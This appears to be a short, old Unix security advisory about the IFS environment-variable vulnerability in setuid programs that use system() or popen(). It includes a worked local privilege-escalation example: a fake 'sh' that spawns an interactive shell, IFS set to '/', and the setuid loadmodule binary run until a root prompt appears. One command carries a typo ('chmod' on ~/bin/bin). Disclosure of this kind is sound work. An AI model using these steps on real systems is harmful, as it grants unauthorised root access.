COMMAND
IFS
SYSTEMS AFFECTED
Setuid programs using system(3) or popen(3).
PROBLEM
By changing the IFS enviroment variable to / setuid root programs
that use system() or popen() can be fooled into runing user
provided programs. Example:
% cat >~/bin/sh
#!/bin/sh
sh -i
^D
% chmod 755 ~/bin/bin
% setenv IFS /
% cd ~/bin
% /usr/openwin/bin/loadmodule /sys/syn4c/OBJ/evqmod-sun4c.o /etc/openwin/modules/evqload
#whoami
root
Programs that call other programs that user system() or popen()
are also vulnerable for example, "vi" execs "expreserve" which
calls system() to send mail.